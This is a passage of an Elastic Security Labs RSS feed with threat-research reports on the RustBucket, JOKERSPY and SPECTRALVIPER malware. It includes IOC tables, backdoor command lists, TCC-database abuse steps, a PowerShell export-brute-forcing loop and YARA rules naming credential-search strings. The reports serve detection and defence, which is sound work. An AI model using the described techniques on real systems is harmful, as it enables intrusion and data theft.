        $user_agent = &quot;User-AgentMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)&quot;
        $install_log = &quot;/var/log/install.log&quot;
        $timestamp = &quot;%Y-%m-%d %H:%M:%S&quot;
    condition:
        all of them
}
</code></pre>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/">https:%2F%2Fwww.jamf.com%2Fblog%2FBlueNorOff-apt-targets-macos-rustbucket-malware%2F</a></li>
<li><a href="https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/">https:%2F%2Fblog.sekoia.io%2FBlueNorOffs-rustbucket-campaign%2F</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/rustbucket">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>webhostwatto.work[.]gd</td>
<td>Domain</td>
<td>N%2FA</td>
<td>REF9135 C2 domain</td>
</tr>
<tr>
<td>crypto.hondchain[.]com</td>
<td>Domain</td>
<td>N%2FA</td>
<td>REF9135 C2 domain</td>
</tr>
<tr>
<td>starbucls[.]xyz</td>
<td>Domain</td>
<td>N%2FA</td>
<td>REF9135 C2 domain</td>
</tr>
<tr>
<td>jaicvc[.]com</td>
<td>Domain</td>
<td>N%2FA</td>
<td>REF9135 C2 domain</td>
</tr>
<tr>
<td>docsend.linkpc[.]net</td>
<td>Domain</td>
<td>N%2FA</td>
<td>REF9135 C2 domain</td>
</tr>
<tr>
<td>companydeck[.]online</td>
<td>Domain</td>
<td>N%2FA</td>
<td>Associated by REF9135 TLS fingerprint hash</td>
</tr>
<tr>
<td>104.168.167[.]88</td>
<td>ipv4</td>
<td>N%2FA</td>
<td>REF9135 C2 IP address</td>
</tr>
<tr>
<td>64.44.141[.]15</td>
<td>ipv4</td>
<td>N%2FA</td>
<td>REF9135 C2 IP address</td>
</tr>
<tr>
<td>788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a</td>
<td>x509-certificate</td>
<td>jaicvc[.]com</td>
<td>REF9135 C2 TLS fingerprint hash</td>
</tr>
<tr>
<td>1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6</td>
<td>x509-certificate</td>
<td>webhostwatto.work[.]gd</td>
<td>REF9135 C2 TLS fingerprint hash</td>
</tr>
<tr>
<td>9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747</td>
<td>SHA-256</td>
<td>N%2FA</td>
<td>MacOS.Trojan.RustBucket</td>
</tr>
<tr>
<td>7fccc871c889a4f4c13a977fdd5f062d6de23c3ffd27e72661c986fae6370387</td>
<td>SHA-256</td>
<td>N%2FA</td>
<td>MacOS.Trojan.RustBucket</td>
</tr>
<tr>
<td>ec8f97d5595d92ec678ffbf5ae1f60ce90e620088927f751c76935c46aa7dc41</td>
<td>SHA-256</td>
<td>N%2FA</td>
<td>MacOS.Trojan.RustBucket</td>
</tr>
<tr>
<td>de81e5246978775a45f3dbda43e2716aaa1b1c4399fe7d44f918fccecc4dd500</td>
<td>SHA-256</td>
<td>ErrorCheck</td>
<td>MacOS.Trojan.RustBucket</td>
</tr>
<tr>
<td>4f49514ab1794177a61c50c63b93b903c46f9b914c32ebe9c96aa3cbc1f99b16</td>
<td>SHA-256</td>
<td>N%2FA</td>
<td>MacOS.Trojan.RustBucket</td>
</tr>
<tr>
<td>fe8c0e881593cc3dfa7a66e314b12b322053c67cbc9b606d5a2c0a12f097ef69</td>
<td>SHA-256</td>
<td>N%2FA</td>
<td>MacOS.Trojan.RustBucket</td>
</tr>
<tr>
<td>7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8</td>
<td>SHA-256</td>
<td>%2FUsers%2FShared%2F.pd</td>
<td>Stage 2</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/photo-edited-12@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Initial research exposing JOKERSPY]]></title>
            <link>https://www.elastic.co/jp/security-labs/inital-research-of-jokerspy</link>
            <guid>inital-research-of-jokerspy</guid>
            <pubDate>Wed, 21 Jun 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Explore JOKERSPY, a recently discovered campaign that targets financial institutions with Python backdoors. This article covers reconnaissance, attack patterns, and methods of identifying JOKERSPY in your network.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>This is an initial notification of an active intrusion with additional details to follow</li>
<li>REF9134 leverages custom and open source tools for reconnaissance and command and control</li>
<li>Targets of this activity include a cryptocurrency exchange in Japan</li>
</ul>
<h2>Preamble</h2>
<p>This research article explores a recently discovered intrusion we’re calling REF9134, which involves using the <strong>sh.py</strong> backdoor to deploy the macOS Swiftbelt enumeration tool. <strong>sh.py</strong> and <strong>xcc</strong> have recently been dubbed <a href="https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack/">JOKERSPY</a> by Bitdefender.</p>
<p>Specifically, this research covers:</p>
<ul>
<li>How Elastic Security Labs identified reconnaissance from the adversary group</li>
<li>The adversary’s steps to evade detection using <strong>xcc</strong> , installing the <strong>sh.py</strong> backdoor, and deploying enumeration tools</li>
</ul>
<p>A deeper look at this attack may be published at a later date.</p>
<h2>Overview</h2>
<p>In late May of 2023, an adversary with existing access in a prominent Japanese cryptocurrency exchange tripped one of our diagnostic endpoint alerts that detected the execution of a binary ( <strong>xcc</strong> ). <strong>xcc</strong> is not trusted by Apple, and the adversary self-signed using the native macOS tool <strong>codesign</strong>. While this detection in itself was not necessarily innocuous, the industry vertical and additional activity we observed following these initial alerts caught our eye and caused us to pay closer attention.</p>
<p>Following the execution of <strong>xcc</strong> , we observed the threat actor attempting to bypass TCC permissions by creating their own TCC database and trying to replace the existing one. On June 1st a new Python-based tool was seen executing from the same directory as <strong>xcc</strong> and was utilized to execute an open-source macOS post-exploitation enumeration tool known as Swiftbelt.</p>
<h2>Analysis</h2>
<p>REF9134 is an intrusion into a large Japan-based cryptocurrency service provider focusing on asset exchange for trading Bitcoin, Ethereum, and other common cryptocurrencies.</p>
<h3>The xcc binary</h3>
<p><strong>xcc</strong> ( <strong>d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8</strong> ) is a self-signed multi-architecture binary written in Swift which is used to evaluate current system permissions. The version observed by Elastic Security Labs is signed as <strong>XProtectCheck-55554944f74096a836b73310bd55d97d1dff5cd4</strong> , and has a code signature resembling <a href="https://objective-see.org/blog/blog_0x73.html">publicly known</a> and untrusted payloads.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/inital-research-of-jokerspy/image8.png" alt="Initial detection of the xcc binary" /></p>
<p>To identify other binaries signed with the same identifier, we converted <strong>XProtectCheck-55554944f74096a836b73310bd55d97d1dff5cd4</strong> to hexadecimal and searched VirusTotal to identify 3 additional samples ( <strong>content:{5850726f74656374436865636b2d35353535343934346637343039366138333662373333313062643535643937643164666635636434}</strong> ).</p>
<p>Each contained the same core functionality with structural differences. These discrepancies may indicate that these variants of <strong>xcc</strong> were developed to bypass endpoint capabilities that interfered with execution.</p>
<p>Shortly after the creation of <strong>xcc</strong> , researchers observed the threat actor copying <strong>/Users/Shared/tcc.db</strong> over the existing TCC database, <strong>/Library/Application Support/com.apple.TCC/TCC.db</strong>. This may enable the threat to avoid TCC prompts visible to system users while simultaneously abusing a directory with broad file write permissions.</p>
<h4>XCode artifacts</h4>
<p>During analysis of this binary, researchers identified two unique paths, <strong>/Users/joker/Developer/Xcode/DerivedData/</strong> and <strong>/Users/joker/Downloads/Spy/XProtectCheck/XProtectCheck/</strong> , which stood out as anomalous. The default path for compiling code with Xcode is <strong>/Users/[username]/Developer/Xcode/DerivedData</strong>.</p>
<h4>Abusing TCC</h4>
<p>These introspection permissions are managed by the native Transparency, Consent, and Control (TCC) feature. Researchers determined that <strong>xcc</strong> checks FullDiskAccess and ScreenRecording permissions, as well as checking if the screen is currently locked and if the current process is a trusted accessibility client.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/inital-research-of-jokerspy/image2.jpg" alt="xcc queries current system permissions" /></p>
<p>Upon successfully executing in our <a href="https://www.elastic.co/jp/security-labs/click-click-boom-automating-protections-testing-with-detonate">Detonate</a> environment, the following results were displayed:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/inital-research-of-jokerspy/image3.jpg" alt="TCC permissions queried by xcc" /></p>
<p>Once the custom TCC database was placed in the expected location, the threat actor executed the <strong>xcc</strong> binary.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/inital-research-of-jokerspy/image4.jpg" alt="Threat actor creating/modifying, moving a TCC database, and then executing xcc" /></p>
<h4>Initial access</h4>
<p>The <strong>xcc</strong> binary was executed via bash by three separate processes</p>
<ul>
<li><strong>/Applications/IntelliJ IDEA.app/Contents/MacOS/idea</strong></li>
<li><strong>/Applications/iTerm.app/Contents/MacOS/iTerm2</strong></li>
<li><strong>/Applications/Visual Studio Code.app/Contents/MacOS/Electron.</strong></li>
</ul>
<p>While we are still investigating and continuing to gather information, we strongly believe that the initial access for this malware was a malicious or backdoored plugin or 3rd party dependency that provided the threat actor access. This aligns with the connection that was made by the researchers at <a href="https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack/">Bitdefender</a> who correlated the hardcoded domain found in a version of the <strong>sh.py</strong> backdoor to a Tweet about an infected macOS QR code reader which was found to have a malicious dependency.</p>
<h4>Deployed cryptographic libraries</h4>
<p>On May 31st, researchers observed three non-native <a href="https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html">DyLibs</a> deployed to <strong>/Users/shared/keybag/</strong> called <strong>libcrypto.1.0.0.dylib</strong> , <strong>libncursesw.5.dylib</strong> , and <strong>libssl.1.0.0.dylib</strong>. On MacOS, keys for file and keychain Data Protection are stored in <a href="https://support.apple.com/en-au/guide/security/sec6483d5760/web">keybags</a>, and pertain to iOS, iPadOS, watchOS, and tvOS. At this time, researchers propose that this staging serves a defense evasion purpose and speculate that they may contain useful vulnerabilities. The threat actor may plan to introduce these vulnerabilities to otherwise patched systems or applications.</p>
<h4>The sh.py backdoor</h4>
<p><strong>sh.py</strong> is a Python backdoor used to deploy and execute other post-exploitation capabilities like Swiftbelt <strong>.</strong></p>
<p>The malware loads its configuration from <strong>~/Public/Safari/sar.dat</strong>. The configuration file contains crucial elements such as command-and-control (C2) URLs, a sleep timer for beaconing purposes (the default value is 5 seconds), and a unique nine-digit identifier assigned to each agent.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/inital-research-of-jokerspy/image5.jpg" alt="Execution of sh.py with the C2 URL provided as a parameter" /></p>
<p>As part of its periodic beaconing, the malware gathers and transmits various system information. The information sent includes:</p>
<ul>
<li>Hostname</li>
<li>Username</li>
<li>Domain name</li>
<li>Current directory</li>
<li>The absolute path of the executable binary</li>
<li>OS version</li>
<li>Is 64-bit OS</li>
<li>Is 64-bit process</li>
<li>Python version</li>
</ul>
<p>Below is a table outlining the various commands that can be handled by the backdoor:</p>
<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>sk</td>
<td>Stop the backdoor's execution</td>
</tr>
<tr>
<td>l</td>
<td>List the files of the path provided as parameter</td>
</tr>
<tr>
<td>c</td>
<td>Execute and return the output of a shell command</td>
</tr>
<tr>
<td>cd</td>
<td>Change directory and return the new path</td>
</tr>
<tr>
<td>xs</td>
<td>Execute a Python code given as a parameter in the current context</td>
</tr>
<tr>
<td>xsi</td>
<td>Decode a Base64-encoded Python code given as a parameter, compile it, then execute it</td>
</tr>
<tr>
<td>r</td>
<td>Remove a file or directory from the system</td>
</tr>
<tr>
<td>e</td>
<td>Execute a file from the system with or without parameter</td>
</tr>
<tr>
<td>u</td>
<td>Upload a file to the infected system</td>
</tr>
<tr>
<td>d</td>
<td>Download a file from the infected system</td>
</tr>
<tr>
<td>g</td>
<td>Get the current malware's configuration stored in the configuration file</td>
</tr>
<tr>
<td>w</td>
<td>Override the malware's configuration file with new values</td>
</tr>
</tbody>
</table>
<h3>Swiftbelt</h3>
<p>On June 1st, the compromised system registered a signature alert for <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Hacktool_Swiftbelt.yar">MacOS.Hacktool.Swiftbelt</a>, a MacOS enumeration capability inspired by <a href="https://github.com/GhostPack/Seatbelt">SeatBelt</a> and created by the red-teamer Cedric Owens. Unlike other enumeration methods, Swiftbelt invokes Swift code to avoid creating command line artifacts. Notably, <strong>xcc</strong> variants are also written using Swift.</p>
<p>The signature alert indicated that Swiftbelt was written to <strong>/Users/shared/sb</strong> and executed using the bash shell interpreter, <strong>sh</strong>. The full command line observed by researchers was <strong>Users/Shared/sb /bin/sh -c /users/shared/sb \&gt; /users/shared/sb.log 2\&gt;&amp;1</strong> , demonstrating that the threat actor captured results in <strong>sb.log</strong> while errors were directed to STDOUT.</p>
<h2>Diamond Model</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/inital-research-of-jokerspy/image1.png" alt="REF9134 Diamond Model" /></p>
<h2>Observed tactics and techniques</h2>
<h3>MITRE ATT&amp;CK Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action. These are the tactics observed by Elastic Security Labs in this campaign:</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
</ul>
<h3>MITRE ATT&amp;CK Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action. These are the techniques observed by Elastic Security Labs in this campaign:</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/004">Dylib Hijacking</a></li>
<li><a href="https://attack.mitre.org/techniques/T1068">Potential Exploitation for Privilege Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548">Potential Abuse Elevation Control Mechanism</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564">Hide Artifacts</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027">Obfuscating Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1553">Subvert Trust Controls</a></li>
<li><a href="https://attack.mitre.org/techniques/T1010">Application Window Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/software/S0498">Crytpoistic Software</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005">Data from Local System</a></li>
</ul>
<h2>Detection logic</h2>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the JOKERSPY backdoor and SwiftBelt tool.</p>
<pre><code>rule Macos_Hacktool_JokerSpy {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-06-19&quot;
        last_modified = &quot;2023-06-19&quot;
        os = &quot;MacOS&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Hacktool&quot;
        family = &quot;JokerSpy&quot;
        threat_name = &quot;Macos.Hacktool.JokerSpy&quot;
        reference_sample = &quot;d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $str1 = &quot;ScreenRecording: NO&quot; fullword
        $str2 = &quot;Accessibility: NO&quot; fullword
        $str3 = &quot;Accessibility: YES&quot; fullword
        $str4 = &quot;eck13XProtectCheck&quot;
        $str5 = &quot;Accessibility: NO&quot; fullword
        $str6 = &quot;kMDItemDisplayName = *TCC.db&quot; fullword
    condition:
        5 of them
}
</code></pre>
<pre><code>rule MacOS_Hacktool_Swiftbelt {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2021-10-12&quot;
        last_modified = &quot;2021-10-25&quot;
        threat_name = &quot;MacOS.Hacktool.Swiftbelt&quot;
        reference_sample = &quot;452c832a17436f61ad5f32ee1c97db05575160105ed1dcd0d3c6db9fb5a9aea1&quot;
        os = &quot;macos&quot;
        arch_context = &quot;x86&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $dbg1 = &quot;SwiftBelt/Sources/SwiftBelt&quot;
        $dbg2 = &quot;[-] Firefox places.sqlite database not found for user&quot;
        $dbg3 = &quot;[-] No security products found&quot;
        $dbg4 = &quot;SSH/AWS/gcloud Credentials Search:&quot;
        $dbg5 = &quot;[-] Could not open the Slack Cookies database&quot;
        $sec1 = &quot;[+] Malwarebytes A/V found on this host&quot;
        $sec2 = &quot;[+] Cisco AMP for endpoints found&quot;
        $sec3 = &quot;[+] SentinelOne agent running&quot;
        $sec4 = &quot;[+] Crowdstrike Falcon agent found&quot;
        $sec5 = &quot;[+] FireEye HX agent installed&quot;
        $sec6 = &quot;[+] Little snitch firewall found&quot;
        $sec7 = &quot;[+] ESET A/V installed&quot;
        $sec8 = &quot;[+] Carbon Black OSX Sensor installed&quot;
        $sec9 = &quot;/Library/Little Snitch&quot;
        $sec10 = &quot;/Library/FireEye/xagt&quot;
        $sec11 = &quot;/Library/CS/falcond&quot;
        $sec12 = &quot;/Library/Logs/PaloAltoNetworks/GlobalProtect&quot;
        $sec13 = &quot;/Library/Application Support/Malwarebytes&quot;
        $sec14 = &quot;/usr/local/bin/osqueryi&quot;
        $sec15 = &quot;/Library/Sophos Anti-Virus&quot;
        $sec16 = &quot;/Library/Objective-See/Lulu&quot;
        $sec17 = &quot;com.eset.remoteadministrator.agent&quot;
        $sec18 = &quot;/Applications/CarbonBlack/CbOsxSensorService&quot;
        $sec19 = &quot;/Applications/BlockBlock Helper.app&quot;
        $sec20 = &quot;/Applications/KextViewr.app&quot;
    condition:
        6 of them
}
</code></pre>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack/">https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>app.influmarket[.]org</td>
<td>Domain</td>
<td>n/a</td>
<td>sh.py domain</td>
</tr>
<tr>
<td>d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8</td>
<td>SHA-256</td>
<td>/Users/Shared/xcc</td>
<td>Macos.Hacktool.JokerSpy</td>
</tr>
<tr>
<td>8ca86f78f0c73a46f31be366538423ea0ec58089f3880e041543d08ce11fa626</td>
<td>SHA-256</td>
<td>/Users/Shared/sb</td>
<td>MacOS.Hacktool.Swiftbelt</td>
</tr>
<tr>
<td>aa951c053baf011d08f3a60a10c1d09bbac32f332413db5b38b8737558a08dc1</td>
<td>SHA-256</td>
<td>/Users/Shared/sh.py</td>
<td>sh.py script</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/inital-research-of-jokerspy/photo-edited-04@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic charms SPECTRALVIPER]]></title>
            <link>https://www.elastic.co/jp/security-labs/elastic-charms-spectralviper</link>
            <guid>elastic-charms-spectralviper</guid>
            <pubDate>Fri, 09 Jun 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs has discovered the P8LOADER, POWERSEAL, and SPECTRALVIPER malware families targeting a national Vietnamese agribusiness. REF2754 shares malware and motivational elements of the REF4322 and APT32 activity groups.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>The REF2754 intrusion set leverages multiple PE loaders, backdoors, and PowerShell runners</li>
<li>SPECTRALVIPER is a heavily obfuscated, previously undisclosed, x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, and token impersonation capabilities</li>
<li>We are attributing REF2754 to a Vietnamese-based intrusion set and aligning with the Canvas Cyclone/APT32/OceanLotus threat actor</li>
</ul>
<h2>Preamble</h2>
<p>Elastic Security Labs has been tracking an intrusion set targeting large Vietnamese public companies for several months, REF2754. During this timeframe, our team discovered new malware being used in coordination by a state-affiliated actor.</p>
<p>This research discusses:</p>
<ul>
<li>The SPECTRALVIPER malware</li>
<li>The P8LOADER malware loader</li>
<li>The POWERSEAL malware</li>
<li>Campaign and intrusion analysis of REF2754</li>
</ul>
<h2>Execution flow</h2>
<p>The first event recorded was the creation of a file (<strong>C:\Users\Public\Libraries\dbg.config)</strong> by the System service dropped over SMB from a previously compromised endpoint. The adversary renamed the SysInternals ProcDump utility, used for collecting memory metadata from running processes, to masquerade as the Windows debugger utility ( <strong>windbg.exe</strong> ). Using the renamed ProcDump application with the <strong>-md</strong> flag, the adversary loaded <strong>dbg.config</strong> , an unsigned DLL containing malicious code.</p>
<p>It should be noted, the ProcDump LOLBAS <a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Procdump/">technique</a> requires a valid process in the arguments; so while <strong>winlogon.exe</strong> is being included in the arguments, it is being used because it is a valid process, not that it is being targeted for collection by ProcDump.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image22.jpg" alt="ProcDump masquerading as WinDbg.exe" /></p>
<p>The unsigned DLL (<strong>dbg.config)</strong> contained DONUTLOADER shellcode which it attempted to inject into <strong>sessionmsg.exe</strong> , the Microsoft Remote Session Message Server. DONUTLOADER was configured to load the SPECTRALVIPER backdoor, and ultimately the situationally-dependent P8LOADER or POWERSEAL malware families. Below is the execution flow for the REF2754 intrusion set.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image16.png" alt="REF2754 execution flow" /></p>
<p>Our team also observed a similar workflow described above, but with different techniques to proxy their malicious execution. One example leveraged the Internet Explorer program ( <strong>ExtExport.exe</strong> ) to load a DLL, while another technique involved side-loading a malicious DLL ( <strong>dnsapi.dll</strong> ) using a legitimate application ( <strong>nslookup.exe</strong> ).</p>
<p>These techniques and malware families make up the REF2754 intrusion set.</p>
<h2>SPECTRALVIPER code analysis</h2>
<h3>Overview</h3>
<p>During our investigation, we observed a previously-undiscovered backdoor malware family that we’re naming SPECTRALVIPER. SPECTRALVIPER is a 64-bit Windows backdoor coded in C++ and heavily obfuscated. It operates with two distinct communication modes, allowing it to receive messages either via HTTP or a Windows named pipe.</p>
<p>Through our analysis, we have identified the following capabilities:</p>
<ul>
<li><strong>PE loading/Injection</strong> : SPECTRALVIPER can load and inject executable files, supporting both x86 and x64 architectures. This capability enables it to execute malicious code within legitimate processes.</li>
<li><strong>Token Impersonation</strong> : The malware possesses the ability to impersonate security tokens, granting it elevated privileges and bypassing certain security measures. This enables unauthorized access and manipulation of sensitive resources.</li>
<li><strong>File downloading/uploading</strong> : SPECTRALVIPER can download and upload files to and from the compromised system. This allows the attacker to exfiltrate data or deliver additional malicious payloads to the infected machine.</li>
<li><strong>File/directory manipulation</strong> : The backdoor is capable of manipulating files and directories on the compromised system. This includes creating, deleting, modifying, and moving files or directories, providing the attacker with extensive control over the victim's file system.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image30.jpg" alt="SPECTRALVIPER overview" /></p>
<h3>Execution flow</h3>
<h4>Launch</h4>
<p>SPECTRALVIPER can be compiled as a PE executable or DLL file. Launching the malware as a PE is straightforward by executing <strong>.\spectralviper.exe</strong>.</p>
<p>However, when the malware is a DLL it will attempt to disguise itself as a legitimate library with known exports such as sqlite3 in our observed sample.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image14.jpg" alt="SPECTRALVIPER DLL sample exports" /></p>
<p>The SPECTRALVIPER entrypoint is hidden within these exports. In order to find the right one, we can brute-force call them using PowerShell and <a href="https://github.com/BenjaminSoelberg/RunDLL-NG">rundll-ng</a>. The PowerShell command depicted below calls each SPECTRALVIPER export in a <strong>for</strong> loop until we find the one launching the malware capabilities.</p>
<pre><code>for($i=0; $i -lt 20; $i++){.\rundll-ng\rundll64-ng.exe &quot;.\7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb.dll&quot; &quot;#$i&quot;}
</code></pre>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image33.jpg" alt="Brute-forcing calls to SPECTRALVIPER exports" /></p>
<p>Upon execution, the binary operates in either HTTP mode or pipe mode, determined by its hardcoded configuration.</p>
<h4>Pipe mode</h4>
<p>In pipe mode, SPECTRALVIPER opens a named pipe with a hardcoded name and waits for incoming commands, in this example <strong>\.\pipe\raSeCIR4gg</strong>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image19.jpg" alt="SPECTRALVIPER sample operating in pipe mode" /></p>
<p>This named pipe doesn’t have any security attributes meaning it’s accessible by everyone. This is interesting because an unsecured named pipe can be overtaken by a co-resident threat actor (either known or unknown to the SPECTRALVIPER operator) or defensive teams as a way to interrupt this execution mode.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image6.jpg" alt="SPECTRALVIPER’s pipe security attributes" /></p>
<p>However, a specific protocol is needed to communicate with this pipe. SPECTRALVIPER implements the <a href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange">Diffie-Helman key exchange protocol</a> to exchange the key needed to encrypt and decrypt commands transmitted via the named pipe, which is AES-encrypted.</p>
<h4>HTTP mode</h4>
<p>In HTTP mode, the malware will beacon to its C2 every <em>n</em> seconds, the interval period is generated randomly in a range between 10 and 99 seconds.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image20.jpg" alt="SPECTRALVIPER’s other sample operates in HTTP mode" /></p>
<p>Using a debugger, we can force the binary to use the HTTP channel instead of the named pipe if the binary contains a hard-coded domain.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image28.jpg" alt="Debugging SPECTRALVIPER to force the HTTP mode" /></p>
<p>Below is an HTTP request example.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image15.jpg" alt="SPECTRALVIPER HTTP request example" /></p>
<p>The request contains a cookie header, “ <strong>euconsent-v2</strong> ”, which contains host-gathered information. This information is encrypted using RSA1024 asymmetric encryption and base64-encoded using Base64. Below is an example of the cookie content before encryption.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image10.jpg" alt="Cookie data pre RSA1024 encryption" /></p>
<p>We believe that the first value, in this example “ <strong>H9mktfe2k0ukk64nZjw1ow==</strong> ”, is the randomly generated AES key that is shared with the server to encrypt communication data.</p>
<h3>Commands</h3>
<p>While analyzing SPECTRALVIPER samples we discovered its command handler table containing between 33 and 36 handlers.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image17.jpg" alt="SPECTRALVIPER registering command handlers" /></p>
<p>Below is a table listing of the commands that were identified.</p>
<table>
<thead>
<tr>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>DownloadFile</td>
</tr>
<tr>
<td>3</td>
<td>UploadFile</td>
</tr>
<tr>
<td>5</td>
<td>SetBeaconIntervals</td>
</tr>
<tr>
<td>8</td>
<td>CreateRundll32ProcessAndHollow</td>
</tr>
<tr>
<td>11</td>
<td>InjectShellcodeInProcess</td>
</tr>
<tr>
<td>12</td>
<td>CreateProcessAndInjectShellcode</td>
</tr>
<tr>
<td>13</td>
<td>InjectPEInProcess</td>
</tr>
<tr>
<td>14</td>
<td>CreateProcessAndHollow</td>
</tr>
<tr>
<td>20</td>
<td>CreateRundll32ProcessWithArgumentAndInjectPE</td>
</tr>
<tr>
<td>81</td>
<td>StealProcessToken</td>
</tr>
<tr>
<td>82</td>
<td>ImpersonateUser</td>
</tr>
<tr>
<td>83</td>
<td>RevertToSelf</td>
</tr>
<tr>
<td>84</td>
<td>AdjustPrivileges</td>
</tr>
<tr>
<td>85</td>
<td>GetCurrentUserName</td>
</tr>
<tr>
<td>103</td>
<td>ListFiles</td>
</tr>
<tr>
<td>106</td>
<td>ListRunningProcesses</td>
</tr>
<tr>
<td>108</td>
<td>CopyFile</td>
</tr>
<tr>
<td>109</td>
<td>DeleteFile</td>
</tr>
<tr>
<td>110</td>
